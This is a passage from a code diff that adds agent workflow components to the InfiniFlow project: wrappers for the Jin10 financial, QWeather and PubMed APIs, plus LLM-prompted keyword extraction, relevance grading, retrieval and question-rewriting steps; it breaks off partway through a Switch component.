+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class IterationItemParam(ComponentParamBase):
+    """
+    Define the IterationItem component parameters.
+    """
+    def check(self):
+        return True
+
+
+class IterationItem(ComponentBase, ABC):
+    component_name = "IterationItem"
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        super().__init__(canvas, id, param)
+        self._idx = 0
+
+    def _run(self, history, **kwargs):
+        parent = self.get_parent()
+        ans = parent.get_input()
+        ans = parent._param.delimiter.join(ans["content"]) if "content" in ans else ""
+        ans = [a.strip() for a in ans.split(parent._param.delimiter)]
+        df = pd.DataFrame([{"content": ans[self._idx]}])
+        self._idx += 1
+        if self._idx >= len(ans):
+            self._idx = -1
+        return df
+
+    def end(self):
+        return self._idx == -1
+

agent/component/jin10.py

@@ -0,0 +1,130 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+from abc import ABC
+import pandas as pd
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class Jin10Param(ComponentParamBase):
+    """
+    Define the Jin10 component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.type = "flash"
+        self.secret_key = "xxx"
+        self.flash_type = '1'
+        self.calendar_type = 'cj'
+        self.calendar_datatype = 'data'
+        self.symbols_type = 'GOODS'
+        self.symbols_datatype = 'symbols'
+        self.contain = ""
+        self.filter = ""
+
+    def check(self):
+        self.check_valid_value(self.type, "Type", ['flash', 'calendar', 'symbols', 'news'])
+        self.check_valid_value(self.flash_type, "Flash Type", ['1', '2', '3', '4', '5'])
+        self.check_valid_value(self.calendar_type, "Calendar Type", ['cj', 'qh', 'hk', 'us'])
+        self.check_valid_value(self.calendar_datatype, "Calendar DataType", ['data', 'event', 'holiday'])
+        self.check_valid_value(self.symbols_type, "Symbols Type", ['GOODS', 'FOREX', 'FUTURE', 'CRYPTO'])
+        self.check_valid_value(self.symbols_datatype, 'Symbols DataType', ['symbols', 'quotes'])
+
+
+class Jin10(ComponentBase, ABC):
+    component_name = "Jin10"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Jin10.be_output("")
+
+        jin10_res = []
+        headers = {'secret-key': self._param.secret_key}
+        try:
+            if self._param.type == "flash":
+                params = {
+                    'category': self._param.flash_type,
+                    'contain': self._param.contain,
+                    'filter': self._param.filter
+                }
+                response = requests.get(
+                    url='https://open-data-api.jin10.com/data-api/flash?category=' + self._param.flash_type,
+                    headers=headers, data=json.dumps(params))
+                response = response.json()
+                for i in response['data']:
+                    jin10_res.append({"content": i['data']['content']})
+            if self._param.type == "calendar":
+                params = {
+                    'category': self._param.calendar_type
+                }
+                response = requests.get(
+                    url='https://open-data-api.jin10.com/data-api/calendar/' + self._param.calendar_datatype + '?category=' + self._param.calendar_type,
+                    headers=headers, data=json.dumps(params))
+
+                response = response.json()
+                jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+            if self._param.type == "symbols":
+                params = {
+                    'type': self._param.symbols_type
+                }
+                if self._param.symbols_datatype == "quotes":
+                    params['codes'] = 'BTCUSD'
+                response = requests.get(
+                    url='https://open-data-api.jin10.com/data-api/' + self._param.symbols_datatype + '?type=' + self._param.symbols_type,
+                    headers=headers, data=json.dumps(params))
+                response = response.json()
+                if self._param.symbols_datatype == "symbols":
+                    for i in response['data']:
+                        i['Commodity Code'] = i['c']
+                        i['Stock Exchange'] = i['e']
+                        i['Commodity Name'] = i['n']
+                        i['Commodity Type'] = i['t']
+                        del i['c'], i['e'], i['n'], i['t']
+                if self._param.symbols_datatype == "quotes":
+                    for i in response['data']:
+                        i['Selling Price'] = i['a']
+                        i['Buying Price'] = i['b']
+                        i['Commodity Code'] = i['c']
+                        i['Stock Exchange'] = i['e']
+                        i['Highest Price'] = i['h']
+                        i['Yesterday’s Closing Price'] = i['hc']
+                        i['Lowest Price'] = i['l']
+                        i['Opening Price'] = i['o']
+                        i['Latest Price'] = i['p']
+                        i['Market Quote Time'] = i['t']
+                        del i['a'], i['b'], i['c'], i['e'], i['h'], i['hc'], i['l'], i['o'], i['p'], i['t']
+                jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+            if self._param.type == "news":
+                params = {
+                    'contain': self._param.contain,
+                    'filter': self._param.filter
+                }
+                response = requests.get(
+                    url='https://open-data-api.jin10.com/data-api/news',
+                    headers=headers, data=json.dumps(params))
+                response = response.json()
+                jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+        except Exception as e:
+            return Jin10.be_output("**ERROR**: " + str(e))
+
+        if not jin10_res:
+            return Jin10.be_output("")
+
+        return pd.DataFrame(jin10_res)

agent/component/keyword.py

@@ -0,0 +1,65 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import re
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+
+
+class KeywordExtractParam(GenerateParam):
+    """
+    Define the KeywordExtract component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 1
+
+    def check(self):
+        super().check()
+        self.check_positive_integer(self.top_n, "Top N")
+
+    def get_prompt(self):
+        self.prompt = """
+- Role: You're a question analyzer. 
+- Requirements: 
+  - Summarize user's question, and give top %s important keyword/phrase.
+  - Use comma as a delimiter to separate keywords/phrases.
+- Answer format: (in language of user's question)
+  - keyword: 
+""" % self.top_n
+        return self.prompt
+
+
+class KeywordExtract(Generate, ABC):
+    component_name = "KeywordExtract"
+
+    def _run(self, history, **kwargs):
+        query = self.get_input()
+        query = str(query["content"][0]) if "content" in query else ""
+
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": query}],
+                            self._param.gen_conf())
+
+        ans = re.sub(r".*keyword:", "", ans).strip()
+        logging.debug(f"ans: {ans}")
+        return KeywordExtract.be_output(ans)
+
+    def debug(self, **kwargs):
+        return self._run([], **kwargs)

agent/component/message.py

@@ -0,0 +1,53 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class MessageParam(ComponentParamBase):
+
+    """
+    Define the Message component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.messages = []
+
+    def check(self):
+        self.check_empty(self.messages, "[Message]")
+        return True
+
+
+class Message(ComponentBase, ABC):
+    component_name = "Message"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+
+        return Message.be_output(random.choice(self._param.messages))
+
+    def stream_output(self):
+        res = None
+        if self._param.messages:
+            res = {"content": random.choice(self._param.messages)}
+            yield res
+
+        self.set_output(res)
+
+

agent/component/pubmed.py

@@ -0,0 +1,69 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+from Bio import Entrez
+import re
+import pandas as pd
+import xml.etree.ElementTree as ET
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class PubMedParam(ComponentParamBase):
+    """
+    Define the PubMed component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 5
+        self.email = "A.N.Other@example.com"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class PubMed(ComponentBase, ABC):
+    component_name = "PubMed"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return PubMed.be_output("")
+
+        try:
+            Entrez.email = self._param.email
+            pubmedids = Entrez.read(Entrez.esearch(db='pubmed', retmax=self._param.top_n, term=ans))['IdList']
+            pubmedcnt = ET.fromstring(re.sub(r'<(/?)b>|<(/?)i>', '', Entrez.efetch(db='pubmed', id=",".join(pubmedids),
+                                                                                   retmode="xml").read().decode(
+                "utf-8")))
+            pubmed_res = [{"content": 'Title:' + child.find("MedlineCitation").find("Article").find(
+                "ArticleTitle").text + '\nUrl:<a href=" https://pubmed.ncbi.nlm.nih.gov/' + child.find(
+                "MedlineCitation").find("PMID").text + '">' + '</a>\n' + 'Abstract:' + (
+                                          child.find("MedlineCitation").find("Article").find("Abstract").find(
+                                              "AbstractText").text if child.find("MedlineCitation").find(
+                                              "Article").find("Abstract") else "No abstract available")} for child in
+                          pubmedcnt.findall("PubmedArticle")]
+        except Exception as e:
+            return PubMed.be_output("**ERROR**: " + str(e))
+
+        if not pubmed_res:
+            return PubMed.be_output("")
+
+        df = pd.DataFrame(pubmed_res)
+        logging.debug(f"df: {df}")
+        return df

agent/component/qweather.py

@@ -0,0 +1,111 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class QWeatherParam(ComponentParamBase):
+    """
+    Define the QWeather component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.web_apikey = "xxx"
+        self.lang = "zh"
+        self.type = "weather"
+        self.user_type = 'free'
+        self.error_code = {
+            "204": "The request was successful, but the region you are querying does not have the data you need at this time.",
+            "400": "Request error, may contain incorrect request parameters or missing mandatory request parameters.",
+            "401": "Authentication fails, possibly using the wrong KEY, wrong digital signature, wrong type of KEY (e.g. using the SDK's KEY to access the Web API).",
+            "402": "Exceeded the number of accesses or the balance is not enough to support continued access to the service, you can recharge, upgrade the accesses or wait for the accesses to be reset.",
+            "403": "No access, may be the binding PackageName, BundleID, domain IP address is inconsistent, or the data that requires additional payment.",
+            "404": "The queried data or region does not exist.",
+            "429": "Exceeded the limited QPM (number of accesses per minute), please refer to the QPM description",
+            "500": "No response or timeout, interface service abnormality please contact us"
+            }
+        # Weather
+        self.time_period = 'now'
+
+    def check(self):
+        self.check_empty(self.web_apikey, "BaiduFanyi APPID")
+        self.check_valid_value(self.type, "Type", ["weather", "indices", "airquality"])
+        self.check_valid_value(self.user_type, "Free subscription or paid subscription", ["free", "paid"])
+        self.check_valid_value(self.lang, "Use language",
+                               ['zh', 'zh-hant', 'en', 'de', 'es', 'fr', 'it', 'ja', 'ko', 'ru', 'hi', 'th', 'ar', 'pt',
+                                'bn', 'ms', 'nl', 'el', 'la', 'sv', 'id', 'pl', 'tr', 'cs', 'et', 'vi', 'fil', 'fi',
+                                'he', 'is', 'nb'])
+        self.check_valid_value(self.time_period, "Time period", ['now', '3d', '7d', '10d', '15d', '30d'])
+
+
+class QWeather(ComponentBase, ABC):
+    component_name = "QWeather"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = "".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return QWeather.be_output("")
+
+        try:
+            response = requests.get(
+                url="https://geoapi.qweather.com/v2/city/lookup?location=" + ans + "&key=" + self._param.web_apikey).json()
+            if response["code"] == "200":
+                location_id = response["location"][0]["id"]
+            else:
+                return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+            base_url = "https://api.qweather.com/v7/" if self._param.user_type == 'paid' else "https://devapi.qweather.com/v7/"
+
+            if self._param.type == "weather":
+                url = base_url + "weather/" + self._param.time_period + "?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+                response = requests.get(url=url).json()
+                if response["code"] == "200":
+                    if self._param.time_period == "now":
+                        return QWeather.be_output(str(response["now"]))
+                    else:
+                        qweather_res = [{"content": str(i) + "\n"} for i in response["daily"]]
+                        if not qweather_res:
+                            return QWeather.be_output("")
+
+                        df = pd.DataFrame(qweather_res)
+                        return df
+                else:
+                    return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+            elif self._param.type == "indices":
+                url = base_url + "indices/1d?type=0&location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+                response = requests.get(url=url).json()
+                if response["code"] == "200":
+                    indices_res = response["daily"][0]["date"] + "\n" + "\n".join(
+                        [i["name"] + ": " + i["category"] + ", " + i["text"] for i in response["daily"]])
+                    return QWeather.be_output(indices_res)
+
+                else:
+                    return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+            elif self._param.type == "airquality":
+                url = base_url + "air/now?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+                response = requests.get(url=url).json()
+                if response["code"] == "200":
+                    return QWeather.be_output(str(response["now"]))
+                else:
+                    return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+        except Exception as e:
+            return QWeather.be_output("**Error**" + str(e))

agent/component/relevant.py

@@ -0,0 +1,83 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+from rag.utils import num_tokens_from_string, encoder
+
+
+class RelevantParam(GenerateParam):
+
+    """
+    Define the Relevant component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.prompt = ""
+        self.yes = ""
+        self.no = ""
+
+    def check(self):
+        super().check()
+        self.check_empty(self.yes, "[Relevant] 'Yes'")
+        self.check_empty(self.no, "[Relevant] 'No'")
+
+    def get_prompt(self):
+        self.prompt = """
+        You are a grader assessing relevance of a retrieved document to a user question. 
+        It does not need to be a stringent test. The goal is to filter out erroneous retrievals.
+        If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. 
+        Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.
+        No other words needed except 'yes' or 'no'.
+        """
+        return self.prompt
+
+
+class Relevant(Generate, ABC):
+    component_name = "Relevant"
+
+    def _run(self, history, **kwargs):
+        q = ""
+        for r, c in self._canvas.history[::-1]:
+            if r == "user":
+                q = c
+                break
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Relevant.be_output(self._param.no)
+        ans = "Documents: \n" + ans
+        ans = f"Question: {q}\n" + ans
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+
+        if num_tokens_from_string(ans) >= chat_mdl.max_length - 4:
+            ans = encoder.decode(encoder.encode(ans)[:chat_mdl.max_length - 4])
+
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": ans}],
+                            self._param.gen_conf())
+
+        logging.debug(ans)
+        if ans.lower().find("yes") >= 0:
+            return Relevant.be_output(self._param.yes)
+        if ans.lower().find("no") >= 0:
+            return Relevant.be_output(self._param.no)
+        assert False, f"Relevant component got: {ans}"
+
+    def debug(self, **kwargs):
+        return self._run([], **kwargs)
+

agent/component/retrieval.py

@@ -0,0 +1,89 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+
+import pandas as pd
+
+from api.db import LLMType
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api import settings
+from agent.component.base import ComponentBase, ComponentParamBase
+from rag.app.tag import label_question
+
+
+class RetrievalParam(ComponentParamBase):
+
+    """
+    Define the Retrieval component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.similarity_threshold = 0.2
+        self.keywords_similarity_weight = 0.5
+        self.top_n = 8
+        self.top_k = 1024
+        self.kb_ids = []
+        self.rerank_id = ""
+        self.empty_response = ""
+
+    def check(self):
+        self.check_decimal_float(self.similarity_threshold, "[Retrieval] Similarity threshold")
+        self.check_decimal_float(self.keywords_similarity_weight, "[Retrieval] Keyword similarity weight")
+        self.check_positive_number(self.top_n, "[Retrieval] Top N")
+
+
+class Retrieval(ComponentBase, ABC):
+    component_name = "Retrieval"
+
+    def _run(self, history, **kwargs):
+        query = self.get_input()
+        query = str(query["content"][0]) if "content" in query else ""
+
+        kbs = KnowledgebaseService.get_by_ids(self._param.kb_ids)
+        if not kbs:
+            return Retrieval.be_output("")
+
+        embd_nms = list(set([kb.embd_id for kb in kbs]))
+        assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
+
+        embd_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING, embd_nms[0])
+        self._canvas.set_embedding_model(embd_nms[0])
+
+        rerank_mdl = None
+        if self._param.rerank_id:
+            rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id)
+
+        kbinfos = settings.retrievaler.retrieval(query, embd_mdl, kbs[0].tenant_id, self._param.kb_ids,
+                                        1, self._param.top_n,
+                                        self._param.similarity_threshold, 1 - self._param.keywords_similarity_weight,
+                                        aggs=False, rerank_mdl=rerank_mdl,
+                                        rank_feature=label_question(query, kbs))
+
+        if not kbinfos["chunks"]:
+            df = Retrieval.be_output("")
+            if self._param.empty_response and self._param.empty_response.strip():
+                df["empty_response"] = self._param.empty_response
+            return df
+
+        df = pd.DataFrame(kbinfos["chunks"])
+        df["content"] = df["content_with_weight"]
+        del df["content_with_weight"]
+        logging.debug("{} {}".format(query, df))
+        return df
+
+

agent/component/rewrite.py

@@ -0,0 +1,142 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+
+
+class RewriteQuestionParam(GenerateParam):
+    """
+    Define the QuestionRewrite component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.temperature = 0.9
+        self.prompt = ""
+        self.language = ""
+
+    def check(self):
+        super().check()
+
+    def get_prompt(self, conv, language, query):
+        prompt = """
+Role: A helpful assistant
+Task: Generate a full user question that would follow the conversation.
+Requirements & Restrictions:
+  - Text generated MUST be in the same language of the original user's question.
+  - If the user's latest question is completely, don't do anything, just return the original question.
+  - DON'T generate anything except a refined question."""
+
+        if language:
+            prompt += f"""
+  - Text generated MUST be in {language}"""
+
+        prompt += f"""
+######################
+-Examples-
+######################
+# Example 1
+## Conversation
+USER: What is the name of Donald Trump's father?
+ASSISTANT:  Fred Trump.
+USER: And his mother?
+###############
+Output: What's the name of Donald Trump's mother?
+------------
+# Example 2
+## Conversation
+USER: What is the name of Donald Trump's father?
+ASSISTANT:  Fred Trump.
+USER: And his mother?
+ASSISTANT:  Mary Trump.
+USER: What's her full name?
+###############
+Output: What's the full name of Donald Trump's mother Mary Trump?
+######################
+# Real Data
+## Conversation
+{conv}
+###############
+"""
+        return prompt
+
+
+class RewriteQuestion(Generate, ABC):
+    component_name = "RewriteQuestion"
+
+    def _run(self, history, **kwargs):
+        hist = self._canvas.get_history(self._param.message_history_window_size)
+        query = self.get_input()
+        query = str(query["content"][0]) if "content" in query else ""
+        conv = []
+        for m in hist:
+            if m["role"] not in ["user", "assistant"]:
+                continue
+            conv.append("{}: {}".format(m["role"].upper(), m["content"]))
+        conv = "\n".join(conv)
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(conv, self.gen_lang(self._param.language), query),
+                            [{"role": "user", "content": "Output: "}], self._param.gen_conf())
+        self._canvas.history.pop()
+        self._canvas.history.append(("user", ans))
+        return RewriteQuestion.be_output(ans)
+
+    @staticmethod
+    def gen_lang(language):
+        # convert code lang to language word for the prompt
+        language_dict = {'af': 'Afrikaans', 'ak': 'Akan', 'sq': 'Albanian', 'ws': 'Samoan', 'am': 'Amharic',
+                         'ar': 'Arabic', 'hy': 'Armenian', 'az': 'Azerbaijani', 'eu': 'Basque', 'be': 'Belarusian',
+                         'bem': 'Bemba', 'bn': 'Bengali', 'bh': 'Bihari',
+                         'xx-bork': 'Bork', 'bs': 'Bosnian', 'br': 'Breton', 'bg': 'Bulgarian', 'bt': 'Bhutani',
+                         'km': 'Cambodian', 'ca': 'Catalan', 'chr': 'Cherokee', 'ny': 'Chichewa', 'zh-cn': 'Chinese',
+                         'zh-tw': 'Chinese', 'co': 'Corsican',
+                         'hr': 'Croatian', 'cs': 'Czech', 'da': 'Danish', 'nl': 'Dutch', 'xx-elmer': 'Elmer',
+                         'en': 'English', 'eo': 'Esperanto', 'et': 'Estonian', 'ee': 'Ewe', 'fo': 'Faroese',
+                         'tl': 'Filipino', 'fi': 'Finnish', 'fr': 'French',
+                         'fy': 'Frisian', 'gaa': 'Ga', 'gl': 'Galician', 'ka': 'Georgian', 'de': 'German',
+                         'el': 'Greek', 'kl': 'Greenlandic', 'gn': 'Guarani', 'gu': 'Gujarati', 'xx-hacker': 'Hacker',
+                         'ht': 'Haitian Creole', 'ha': 'Hausa', 'haw': 'Hawaiian',
+                         'iw': 'Hebrew', 'hi': 'Hindi', 'hu': 'Hungarian', 'is': 'Icelandic', 'ig': 'Igbo',
+                         'id': 'Indonesian', 'ia': 'Interlingua', 'ga': 'Irish', 'it': 'Italian', 'ja': 'Japanese',
+                         'jw': 'Javanese', 'kn': 'Kannada', 'kk': 'Kazakh', 'rw': 'Kinyarwanda',
+                         'rn': 'Kirundi', 'xx-klingon': 'Klingon', 'kg': 'Kongo', 'ko': 'Korean', 'kri': 'Krio',
+                         'ku': 'Kurdish', 'ckb': 'Kurdish (Sorani)', 'ky': 'Kyrgyz', 'lo': 'Laothian', 'la': 'Latin',
+                         'lv': 'Latvian', 'ln': 'Lingala', 'lt': 'Lithuanian',
+                         'loz': 'Lozi', 'lg': 'Luganda', 'ach': 'Luo', 'mk': 'Macedonian', 'mg': 'Malagasy',
+                         'ms': 'Malay', 'ml': 'Malayalam', 'mt': 'Maltese', 'mv': 'Maldivian', 'mi': 'Maori',
+                         'mr': 'Marathi', 'mfe': 'Mauritian Creole', 'mo': 'Moldavian', 'mn': 'Mongolian',
+                         'sr-me': 'Montenegrin', 'my': 'Burmese', 'ne': 'Nepali', 'pcm': 'Nigerian Pidgin',
+                         'nso': 'Northern Sotho', 'no': 'Norwegian', 'nn': 'Norwegian Nynorsk', 'oc': 'Occitan',
+                         'or': 'Oriya', 'om': 'Oromo', 'ps': 'Pashto', 'fa': 'Persian',
+                         'xx-pirate': 'Pirate', 'pl': 'Polish', 'pt': 'Portuguese', 'pt-br': 'Portuguese (Brazilian)',
+                         'pt-pt': 'Portuguese (Portugal)', 'pa': 'Punjabi', 'qu': 'Quechua', 'ro': 'Romanian',
+                         'rm': 'Romansh', 'nyn': 'Runyankole', 'ru': 'Russian', 'gd': 'Scots Gaelic',
+                         'sr': 'Serbian', 'sh': 'Serbo-Croatian', 'st': 'Sesotho', 'tn': 'Setswana',
+                         'crs': 'Seychellois Creole', 'sn': 'Shona', 'sd': 'Sindhi', 'si': 'Sinhalese', 'sk': 'Slovak',
+                         'sl': 'Slovenian', 'so': 'Somali', 'es': 'Spanish', 'es-419': 'Spanish (Latin America)',
+                         'su': 'Sundanese',
+                         'sw': 'Swahili', 'sv': 'Swedish', 'tg': 'Tajik', 'ta': 'Tamil', 'tt': 'Tatar', 'te': 'Telugu',
+                         'th': 'Thai', 'ti': 'Tigrinya', 'to': 'Tongan', 'lua': 'Tshiluba', 'tum': 'Tumbuka',
+                         'tr': 'Turkish', 'tk': 'Turkmen', 'tw': 'Twi',
+                         'ug': 'Uyghur', 'uk': 'Ukrainian', 'ur': 'Urdu', 'uz': 'Uzbek', 'vu': 'Vanuatu',
+                         'vi': 'Vietnamese', 'cy': 'Welsh', 'wo': 'Wolof', 'xh': 'Xhosa', 'yi': 'Yiddish',
+                         'yo': 'Yoruba', 'zu': 'Zulu'}
+        if language in language_dict:
+            return language_dict[language]
+        else:
+            return ""

agent/component/switch.py

@@ -0,0 +1,131 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class SwitchParam(ComponentParamBase):
+    """
+    Define the Switch component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        """
+        {
+            "logical_operator" : "and | or"
+            "items" : [
+                            {"cpn_id": "categorize:0", "operator": "contains", "value": ""},
+                            {"cpn_id": "categorize:0", "operator": "contains", "value": ""},...],
+            "to": ""
+        }
+        """
+        self.conditions = []
+        self.end_cpn_id = "answer:0"
+        self.operators = ['contains', 'not contains', 'start with', 'end with', 'empty', 'not empty', '=', '≠', '>',
+                          '<', '≥', '≤']
+
+    def check(self):
+        self.check_empty(self.conditions, "[Switch] conditions")
+        for cond in self.conditions:
+            if not cond["to"]:
+                raise ValueError("[Switch] 'To' can not be empty!")
+
+
+class Switch(ComponentBase, ABC):
+    component_name = "Switch"
+
+    def get_dependent_components(self):
+        res = []
+        for cond in self._param.conditions:
+            for item in cond["items"]:
+                if not item["cpn_id"]:
+                    continue
+                if item["cpn_id"].find("begin") >= 0:
+                    continue
+                cid = item["cpn_id"].split("@")[0]
+                res.append(cid)
+
+        return list(set(res))
+
+    def _run(self, history, **kwargs):
+        for cond in self._param.conditions:
+            res = []
+            for item in cond["items"]:
+                if not item["cpn_id"]:
+                    continue
+                cid = item["cpn_id"].split("@")[0]
+                if item["cpn_id"].find("@") > 0:
+                    cpn_id, key = item["cpn_id"].split("@")
+                    for p in self._canvas.get_component(cid)["obj"]._param.query:
+                        if p["key"] == key:
+                            res.append(self.process_operator(p.get("value",""), item["operator"], item.get("value", "")))
+                            break
+                else:
+                    out = self._canvas.get_component(cid)["obj"].output()[1]
